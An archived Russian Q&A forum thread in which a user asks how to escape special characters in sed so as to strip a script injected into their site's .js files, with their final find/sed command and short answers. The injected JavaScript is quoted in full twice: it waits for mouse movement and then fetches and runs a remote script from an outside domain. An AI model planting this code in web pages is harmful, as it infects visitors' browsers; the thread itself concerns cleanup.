Экранирование символов в sed. Поиск и замена в файлах

Linux unix bash sed

Нужно найти строку в файлах и заменить ее.
Да, пример я нашел sed '/foo/ s/foo/bar/g' *
Только вот у меня строка не foo bar а вставленный сплойт

document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});

Куча спецсимволов, которые нужно экранировать. Что сильно заебывает. Я не пользовался раньше sed'ом

Есть ли возможность взять строку поиска из файла? Тоесть чтобы всю эту шнягу не экранировать или какие-то другие варианты, без ручного экранирования.

Примечание:
Ок. А есть онлайн сервис, утилита, которая все проекранирует сама? Пробовал через addslashes прогнать, но не помогло.

Тоесть чтобы вообще все спец символы экранировались.

Примечание:
да, то что в php есть addslashes знаю. Он только кавычки экранирует.

Примечание:
Всем спасибо. Вот к такому решению я пришел. Часа 2 парился.


find ./ -name "*.js" -print0| xargs -0 sed -i "s|document.write('<scr'+'ipt src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});| |g"
Ответы:
Через файл тоже нужно экранировать спецсимволы, только одинарным бекслешем. Можно искать не всю строку, а только начало и конец, тогда экранировать меньше придется ;)
В пхп есть, например, встроенная функция. Правда тут надо сравнить на всякий случай наборы спецсимволов в баше и пхп. В онлайне не знаю, не видел.
В вашем случае прокатит sed "s|foo|bar|g" :)


14 лет назад

RPI.su - самая большая русскоязычная база вопросов и ответов. Наш проект был реализован как продолжение популярного сервиса otvety.google.ru, который был закрыт и удален 30 апреля 2015 года. Мы решили воскресить полезный сервис Ответы Гугл, чтобы любой человек смог публично узнать ответ на свой вопрос у интернет сообщества.

Все вопросы, добавленные на сайт ответов Google, мы скопировали и сохранили здесь. Имена старых пользователей также отображены в том виде, в котором они существовали ранее. Только нужно заново пройти регистрацию, чтобы иметь возможность задавать вопросы, или отвечать другим.

Чтобы связаться с нами по любому вопросу О САЙТЕ (реклама, сотрудничество, отзыв о сервисе), пишите на почту [email protected]. Только все общие вопросы размещайте на сайте, на них ответ по почте не предоставляется.